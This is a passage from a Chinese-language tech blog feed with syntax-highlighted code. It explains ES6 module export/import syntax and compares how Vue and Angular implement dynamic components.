class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 输出变量</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> name = <span class="string">"huazhou"</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> otherName = <span class="string">"lili"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 另一种方式输出变量</span></span><br><span class="line"><span class="keyword">var</span> name = <span class="string">"huazhou"</span></span><br><span class="line"><span class="keyword">var</span> otherName = <span class="string">"lili"</span></span><br><span class="line"><span class="keyword">export</span> {name, otherName}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出函数</span></span><br><span class="line"><span class="keyword">export</span> <span class="function"><span class="keyword">function</span> <span class="title">func</span>(<span class="params">x, y</span>)</span>{ </span><br><span class="line"><span class="keyword">return</span> x*y</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 另一种方式输出函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">func</span>(<span class="params">x, y</span>)</span>{ </span><br><span class="line"><span class="keyword">return</span> x*y</span><br><span class="line">}</span><br><span class="line"><span class="keyword">export</span> { func }</span><br><span class="line"></span><br><span class="line"><span class="comment">// 别名</span></span><br><span class="line"><span class="keyword">export</span> { func <span class="keyword">as</span> v1 }</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出类</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">Person</span> </span>{ </span><br><span class="line">name: <span class="string">"xiaoxiao"</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>import</strong><br><code>import</code>引入的变量都是只读的(对象类型的可以修改,但强烈不建议修改, 因为其它引入的地方也会被动修改)</p><p><code>import</code> 具有提升效果,无论位于任何位置,都会首先执行, 并且无法使用变量和表达式动态加载(因为是编译时就执行的)</p><p>无论<code>import</code>模块几次,都只会执行一次。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 引入</span></span><br><span class="line"><span class="keyword">import</span> { name, otherName, func, Person } <span class="keyword">from</span> <span class="string">'mod'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 别名</span></span><br><span class="line"><span class="keyword">import</span> { name <span class="keyword">as</span> personName } <span class="keyword">from</span> <span class="string">'mod'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 整体引入</span></span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> m <span class="keyword">from</span> <span class="string">'mod'</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(m.name)</span><br><span class="line">m.func()</span><br></pre></td></tr></table></figure><p><strong>export default</strong><br>默认导出。好处是引入时直接引入即可,不需要知道模块导出的具体变量或方法的名字。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用默认导出一个函数</span></span><br><span class="line"><span class="comment">// 函数名无关紧要,可有可无</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> funciton myfunc() { </span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'aaa'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 另一种方式</span></span><br><span class="line">funciton myfunc() { </span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'aaa'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 加default就可以不用加大括号</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> myfunc</span><br></pre></td></tr></table></figure><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 引入不需要大括号</span></span><br><span class="line"><span class="keyword">import</span> defaultFunc <span class="keyword">from</span> <span class="string">'mod'</span></span><br></pre></td></tr></table></figure><blockquote><p>本质上,<code>export default</code>就是输出一个叫做<code>default</code>的变量或方法,然后在引入时你可以给他起任意的名字。</p></blockquote><p><strong>export … from</strong><br>从另一个模块中导入在作为本模块的导出,用于组织模块。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> { some } <span class="keyword">from</span> <span class="string">'mod'</span></span><br></pre></td></tr></table></figure><h3 id="HTML加载Es6-Module"><a href="#HTML加载Es6-Module" class="headerlink" title="HTML加载Es6 Module"></a><code>HTML</code>加载<code>Es6 Module</code></h3><p>目前所有浏览器都已经支持<code>HTML</code>中的模块加载。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 默认按照defer的形式异步加载,渲染完成再执行,可以保证执行顺序与书写顺序一致</span></span><br><span class="line"><span class="comment">// 可以加上async, 在下载完成时就执行。</span></span><br><span class="line"><script type=<span class="string">"module"</span> src=<span class="string">"./foo.js"</span>><span class="xml"><span class="tag"></<span class="name">script</span>></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 也可以在script标签中直接使用模块</span></span><br><span class="line"><script type=<span class="string">"module"</span>> <span class="keyword">import</span> { name } <span class="keyword">from</span> <span class="string">"mod"</span> ....<<span class="regexp">/script></span></span><br></pre></td></tr></table></figure><h3 id="Es6-Module的优势"><a href="#Es6-Module的优势" class="headerlink" title="Es6 Module的优势"></a><code>Es6 Module</code>的优势</h3><p><code>ES6</code>的模块化采用了尽可能静态化的思想,是区别与其他的社区模块化方案的最大不同,不得说这是经过深思熟虑之后非常合适<code>JS</code>的一种方案。这使得<code>JS</code>在语言层面具有了更大的可能性。</p><p>相信在不远的将来,各种全局的<code>API</code>, 例如<code>Math</code>,浏览器的<code>location</code>对象等等,终于可以有自己的命名空间,而不必再挂载在全局上了。</p><p>当然,这是将来的事情,在目前这个时间节点上,<code>ES6</code>全新的模块系统<strong>统一了服务端和客户端的各种模块方案</strong>,配合<code>WebPack</code>等打包工具,我们已经差不多可以抛弃<code>AMD</code>和<code>CMD</code>规范了(当然是在没有历史包袱的情况下)。</p><p>静态化的模块方案,不仅使得我们拥有了更统一和语言內集成的模块,也使得一些其他一些依赖于静态模块的特性终于可以应用在<code>JS</code>上。典型的,是 <strong>静态类型检查</strong> 和<strong>摇树优化</strong>。它们都需要通过<code>Es6</code>这种静态分析模块的方式来实现。当然,这两个东西也都值得大写特写,在本篇就不再多提了。</p><p>OK, 本篇博客就到这里,多谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> ES6 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> ES6 </tag>
</tags>
</entry>
<entry>
<title>从动态组件谈一谈 Angular和Vue</title>
<link href="/2018/11/10/Comparing_angular&vue_from_dynamic_components/"/>
<url>/2018/11/10/Comparing_angular&vue_from_dynamic_components/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>又是半个月一个字都没写,眼看 2018 年又要到头了,时间过得飞快。今年年初定的目标,看起来好像又要一梦黄粱去了,唉,只能勉强安慰自己,至少一直在路上,且行且珍惜吧。</p><p>今天这篇博客,我们就来聊一聊 <code>Angular</code> 和 <code>Vue</code> 两个前端框架的动态组件特性,同时通过它们各自实现方式的对比,体会一下两个框架从基于模式取舍和设计思想考量的不同,最终延伸出的各种差异和得失。</p><p>OK,不多说废话,开始正文。</p></blockquote><a id="more"></a><p>动态组件,是前端组件化开发中比较重要的一个组成。</p><p>从技术角度来说,动态组件提供了一种方式来让我们将一部分视图和视图对应的逻辑抽离出去,只留下一个类似接口的插入点,从而更好的将某些基础的视图逻辑模块化和服务化,实现更高的可复用性和可维护性。举例来说,我们可以将常见的模态框抽离出去,作为一个动态组件,在需要模态框时直接动态载入,在其它组件的逻辑中,我们不再需要提前载入它或者在视图中为它预留位置。</p><p>从业务角度来说,动态组件能够更好的应对业务和需求变化,通过将组件的实现和它最终存在的位置进行解耦,我们可以更聚焦其业务实现,而不必考虑它实际的构造生成和依赖环境等问题。举例来说,我们可以实现很多独立的广告组件,在广告需要出现的位置,通过配置规则来动态的加载广告组件,当我们需要增删广告,修改广告频率等等时,只需要简单的修改动态组件的加载规则即可,从而将广告和页面中其它的业务逻辑隔离开来,更容易更改和变动。</p><p>各个前端框架基本都提供了动态组件的实现,今天主要讨论一下<code>Angualr</code>和<code>Vue</code>在动态组件特性上实现的一些不同,首先我们来看一下<code>Vue</code>的动态组件。</p><h2 id="Vue的动态组件"><a href="#Vue的动态组件" class="headerlink" title="Vue的动态组件"></a><em>Vue</em>的动态组件</h2><p><code>Vue</code>动态组件的使用相当简单,只需要使用<code><component></code>元素,并通过此元素的<code>is</code>属性来指定要加载的组件即可。如下:</p><figure class="highlight javascript"><figcaption><span>Vue</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 声明一个组件选项对象,当然,也可以提前将组件注册到Vue实例中</span></span><br><span class="line"><span class="keyword">const</span> dynamicComponentOption = {</span><br><span class="line">name: <span class="string">'DynamicComponent'</span></span><br><span class="line"> component: {</span><br><span class="line"> template: <span class="string">`<h1>this is dynamic-component</h1>`</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过<component>元素和is属性即可加载组件</span></span><br><span class="line"><span class="keyword">new</span> Vue({</span><br><span class="line"> el: <span class="string">'#dynamci-banner'</span></span><br><span class="line"> data: {</span><br><span class="line"> currentComp: dynamicComponentOption</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>动态组件宿主的模板如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"dynamic-banner"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">h1</span>></span>dynamicComponent:<span class="tag"></<span class="name">h1</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">component</span> <span class="attr">:is</span>=<span class="string">"currentComp.component"</span>></span><span class="tag"></<span class="name">component</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>从上面可以看出,<code>Vue</code>的动态组件相当的简单易懂,通过<code><component></code>元素来定义动态组件的载入点,通过<code>is</code>属性来定义要动态加载的组件即可。</p><p>当然,通常我们会有多个组件,需要根据特定情况加载特定的组件或者循环轮流加载。从上面的代码,我们很自然的就想到了解决思路,我们只需要根据需求切换<code>is</code>属性的值即可。例如下面这个例子,它有三个组件,每隔三秒来切换一次展示的组件:</p><figure class="highlight javascript"><figcaption><span>Vue</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 这次我们换一种方式,不再直接定义组件的选项对象,而是提前将组件注册到 Vue 示例中。</span></span><br><span class="line"><span class="comment">// 另外多说一句,一般我们开发时都是使用单文件模式,那种情况下直接导入对应的动态组件的类即可</span></span><br><span class="line">Vue.component(<span class="string">'dynamic-comp-one'</span>, { </span><br><span class="line">template: <span class="string">'<div>dynamic component one</div>'</span> </span><br><span class="line">})</span><br><span class="line">Vue.component(<span class="string">'dynamic-comp-two'</span>, { </span><br><span class="line">template: <span class="string">'<div>dynamic component two</div>'</span> </span><br><span class="line">})</span><br><span class="line">Vue.component(<span class="string">'dynamic-comp-three'</span>, { </span><br><span class="line">template: <span class="string">'<div>dynamic component three</div>'</span> </span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> Vue({</span><br><span class="line"> el: <span class="string">'#dynamic-banner'</span>,</span><br><span class="line"> data: {</span><br><span class="line"> currentIndex: <span class="number">0</span>,</span><br><span class="line"> intervalId: <span class="literal">null</span>,</span><br><span class="line"> comps: [<span class="string">'one'</span>, <span class="string">'two'</span>, <span class="string">'three'</span>]</span><br><span class="line"> },</span><br><span class="line"> computed: {</span><br><span class="line"> currentComp() {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'dynamic-comp-'</span>+ <span class="keyword">this</span>.comps[<span class="keyword">this</span>.currentIndex] </span><br><span class="line"> }</span><br><span class="line"> },</span><br><span class="line"> </span><br><span class="line"> created() {</span><br><span class="line"> <span class="keyword">this</span>.intervalId = setInterval(<span class="function"><span class="params">_</span> =></span> {</span><br><span class="line"> <span class="keyword">this</span>.currentIndex === <span class="number">2</span> ?</span><br><span class="line"> <span class="keyword">this</span>.currentIndex++ :</span><br><span class="line"> <span class="keyword">this</span>.currentIndex = <span class="number">0</span></span><br><span class="line"> }, <span class="number">3000</span>)</span><br><span class="line"> },</span><br><span class="line"> </span><br><span class="line"> beforeDestory() {</span><br><span class="line"> clearInterval(<span class="keyword">this</span>.intervalId)</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>动态组件宿主的模板如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"dynamic-banner"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">h1</span>></span>dynamicComponent:<span class="tag"></<span class="name">h1</span>></span></span><br><span class="line"><span class="tag"><<span class="name">component</span> <span class="attr">:is</span>=<span class="string">"currentComp"</span>></span><span class="tag"></<span class="name">component</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>值得一提的是,<code>Vue</code>提供了一个<code><keep-alive></code>标签用于缓存组件状态,从而使得动态组件只会创建一次,后续再动态加载同一组件时,使用的还是上次创建的组件,避免了反复创建和渲染造成的性能消耗。</p><p>我们来回顾以下<code>Vue</code>的动态组件这个概念,首先值得称道的是,除了动态组件本身这个概念外,<code>Vue</code>没有引入任何新概念,单纯的通过一个标签和属性,就可以顺畅的使用动态组件这个特性。这也是<code>Vue</code>易上手易学习特点的一个显著体现,也是<code>Vue</code>的一大优点。</p><p>但是,如果我们不想将元素插入在<code><component></code>上而是想通过选择器选择一个<code>DOM</code>元素然后插入将其作为动态组件的宿主,该怎么做?</p><p>我们再发散的思考一下,如果我们的组件在被载入时才能注入某些依赖,传入相关数据,确定相关的属性呢,我们要怎么做?如果我们要一次插入多个组件呢?如果这多个动态组件有依赖关系,需要按顺序进行动态加载呢?如果我们想针对不同组件设置不同的<code><keep-alive></code>策略呢?</p><p>再进一步,如果我们想让动态组件的加载可以在后台页面配置,就像我们开头提到过的广告动态组件加载,在后台通过配置确定展示哪些广告,然后前端再通过接口获取配置再根据配置调整组件内容并加载,我们该怎么做呢?</p><p>这些问题,<code>Vue</code>作为一个鼓励自行扩展或使用第三方插件的渐进式增强框架,并没有也不会告诉我们该怎么办,我们需要去学习别人是如何实现的或者自己去实现。</p><p>软件开发领域有一个戏称叫做复杂度守恒理论,是说软件开发的复杂度不会增加也不会减少,只会从一个地方转移到另一个地方。用在这里还是非常贴切的,<code>Vue</code>将动态组件特性暴露为一个非常简单的实现,那复杂当然就留给了我们自己,当我们需要这些复杂的时候,我们就只能自己去拓展和实现了。问题是,在实现过程中,如何保证你的实现稳固可靠,可测试可复用,符合工程化的一些通用模式和标准?如果要引入第三方插件,如何评估插件的功能和我们需要的功能的契合度?它是否能应对后续业务变化?我们怎样保证系统边界的清晰,不被第三方插件绑定或强耦合?这些问题,对于小型项目来说,可能并不需要过多考虑,但是对于一个长期的大型项目来说,那就必须是在系统开始架构时就要慎重考量了。</p><p>这也是我认为<code>Vue</code>的一个缺点,它较低的上手门槛无法保证一些复杂实现上的工程化模式,用通俗的话来讲,就是小白看一遍文档就能写,但写出来一定不好维护,它的低门槛是一把双刃剑,更友好也意味着更容易混乱。</p><p>我们再来看看<code>Angular</code>的动态组件。</p><h2 id="Angular的动态组件"><a href="#Angular的动态组件" class="headerlink" title="Angular的动态组件"></a><em>Angular</em>的动态组件</h2><p>在详细介绍之前,我们先来考虑一下,如果我们自己用工程化的思维来设计一个动态组件的实现,该怎么做?</p><p>首先,一个动态组件,首先一定是一个组件(废话!),那么它肯定就有组件的数据,方法,模板等属性,以及创建,编译,初始化,销毁等行为。</p><p>我们要把组件动态载入,当然也需要一个方法来创建它。</p><p>我们还需要确定它加载的位置,这个位置可能是一个<code>DOM</code>元素,也可能是其它组件的视图,一个插入点也应该可以插入多个组件。</p><p>这样动态组件的思路就有了,我们定义一个插入点作为宿主元素,然后创建组件,再将组件插入到宿主元素呈现即可。</p><p>我们用伪代码来实现一下这个思路:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置组件插入点</span></span><br><span class="line"><div id=<span class="string">"insertion"</span>><span class="xml"><span class="tag"></<span class="name">div</span>></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取组件的宿主元素(假装获取到了)</span></span><br><span class="line"><span class="keyword">const</span> insertion = $(<span class="string">'#insertion'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义一个可以创建组件的方法</span></span><br><span class="line">createOption = <span class="function">(<span class="params">option</span>) =></span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> Comp(option)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义宿主元素可以包含多个组件</span></span><br><span class="line">insertion.container = []</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义宿主元素的一个方法,用来创建组件并插入到自身</span></span><br><span class="line">insertion.createViewByComp = <span class="function">(<span class="params">comp, option</span>)=></span>{</span><br><span class="line"> <span class="keyword">const</span> comp = createOption(option)</span><br><span class="line"> comp.option = option</span><br><span class="line"><span class="keyword">this</span>.container.push(comp)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将组件插入到宿主元素中</span></span><br><span class="line"><span class="keyword">for</span> (comp <span class="keyword">in</span> container) {</span><br><span class="line"> <span class="keyword">this</span>.innerHTML += comp</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取将被动态载入的组件</span></span><br><span class="line"><span class="keyword">const</span> dynamicComp = <span class="keyword">import</span>(<span class="string">'./dynamic'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 插入</span></span><br><span class="line">insertion.createViewByComp(dynamicComp)</span><br></pre></td></tr></table></figure><p>如果你看过<code>Angular</code>的源码的话,你会发现我们的思路已经与<code>Angular</code>的实现思路非常相近了。</p><p>不同的是,<code>Angular</code>通过<code>TypeScript</code>的类和类型约束以及框架自身的一些特性,将上面这个流程实现的严谨又优雅。</p><p>具体的,<code>Angular</code>的动态组件的创建分为了两个步骤,一步是编译,一步是实例化,编译这一步被<code>Angular</code>分配给了一个底层的<code>API</code>,实例化组件的方法被定义在了<code>container</code>容器上,这也是比较容易理解的,因为上面我们提到过,我们要插入的元素可能是<code>DOM</code>元素,还可能是另一个组件的元素,不管从设计模式还是具体实现上,相比交给宿主元素,将实例化动态组件的任务交给拥有全部组件的容器都是更好的方式。</p><p>在<code>Angular</code>的实现中,这个容器叫做<code>ViewContainerRef</code>,通过元素上的这个容器,我们可以创建和管理当前元素的模板和组件视图。我们可以简单的认为每个元素或组件上都有一个这样的容器。</p><p>但实际上,<code>Angular</code>实现的相当巧妙:只有我们主动去获取元素上的这个容器时,这个容器才是存在的。十分的唯心,可以说是薛定谔的容器了。当然实际上,<code>Angular</code>只会在我们主动去获取元素的这个容器时才为元素创建这个属性。</p><blockquote><p>犹记得我当初看 <code>Angular</code>的动态组件实现,折服于它为何如此暴力,为每个元素和组件都挂载了这个容器,但实际我去查看又发现所有元素上都没有这个容器,摸不着头脑了好一会。</p></blockquote><p>我们来看下面的一个简单的<code>Angular</code>动态组件的例子:</p><figure class="highlight typescript"><figcaption><span>TypeScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { Component, OnInit, </span><br><span class="line"> ViewContainerRef,</span><br><span class="line"> ComponentFactoryResolver } <span class="keyword">from</span> <span class="string">'@angular/core'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> selector: <span class="string">'ad-place'</span>,</span><br><span class="line"> template: <span class="string">`</span></span><br><span class="line"><span class="string"> <div></span></span><br><span class="line"><span class="string"> <h1>Dynamic Component Place</h1></span></span><br><span class="line"><span class="string"> </div>`</span></span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> DynaPlaceComponent <span class="keyword">implements</span> OnInit {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">constructor</span>(<span class="params"> <span class="keyword">private</span> cfr: ComponentFactoryResolver, </span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> vcr: ViewContainerRef</span></span><br><span class="line"><span class="params"> </span>) {}</span><br><span class="line"></span><br><span class="line"> ngOnInit() {</span><br><span class="line"> <span class="keyword">const</span> componentFactory = <span class="keyword">this</span>.cfr.resolveComponentFactory(DynamicComponent)</span><br><span class="line"> <span class="keyword">this</span>.vcr.createComponent(componentFactory)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 动态组件</span></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> template: <span class="string">`<div> i am dynamic component </div>`</span></span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> DynamicComponent {}</span><br></pre></td></tr></table></figure><p>来看上面这个例子,我们将<code>ViewContainerRef</code>注入到了组件类中,与此同时我们还注入了<code>ComponentFactoryResolver</code>,随后我们通过<code>ComponentFactoryResolver</code>的<code>resolveComponentFactory</code>得到组件的<code>ComponentFactory</code>,并将其作为参数传递给<code>ViewContainerRef</code>的<code>createComponent</code>方法,完成了动态组件的插入。</p><p>同时,我们需要在模块的元数据使用<code>entryComponent</code>来声明动态组件,<code>Angular</code>在编译时会为每个动态组件创建一个<code>ComponentFactory</code> 。</p><p>不要被名字迷惑,<code>ComponentFactory</code>其实并不是组件的工厂函数,而是编译后的组件。想一下,当我们使用<code>Angular</code>的预编译<code>AOT</code>模式时,编译是在<code>Angular</code>构建时就已经完成的,打包之后的应用发送到前端,是不会包含编译器的,那么动态组件要怎么编译呢?所以我们必须提前保存一份编译后的动态组件。</p><figure class="highlight typescript"><figcaption><span>TypeScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { </span><br><span class="line"> dynaPlaceComponent,</span><br><span class="line"> dynamicComponent } <span class="keyword">from</span> <span class="string">'./dyna.component'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@NgModule</span>({</span><br><span class="line"> imports: [ BrowserModule ],</span><br><span class="line"> declarations: [ </span><br><span class="line"> AppComponent, </span><br><span class="line"> dynaPlaceComponent,</span><br><span class="line"> dynamicComponent</span><br><span class="line"> ],</span><br><span class="line"> bootstrap: [ AppComponent ],</span><br><span class="line"> entryComponents: [</span><br><span class="line"> dynamicComponent</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> AppModule {}</span><br></pre></td></tr></table></figure><p>在这个例子中,我们直接将<code>ViewContainerRef</code> 注入组件类,使用了组件自身作为宿主元素。</p><p>最后组件的视图如下:</p><div style="width:100%;height:80px;padding-left:10px;background-color:#f4f5f7"><div style="font-size:22px;margin-bottom:5px">Dynamic Component Place</div><div style="font-size:14px">i am dynamic component</div></div><p>但通常来说,更常见的情况是我们不会直接以组件自身作为宿主元素插入动态组件的视图,而是以组件中的某个元素来作为宿主元素,这种情况下我们可以通过<code>@ViewChild</code>来获取元素的<code>ViewContainerRef</code>。</p><blockquote><p><code>@ViewChild</code> 是一个装饰器,我们可以通过它来进行视图查询,从而获取当前组件视图上的<code>DOM</code>元素,子组件,指令等。</p></blockquote><p>来看下面这个例子,我们会将组件插入到模板引用变量<code>#dync</code>中,同时我们定义了两个动态组件,这两个动态组件会每三秒循环一次,另外我们还向组件內传递了一个其被创建时间的时间戳:</p><figure class="highlight typescript"><figcaption><span>TypeScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span 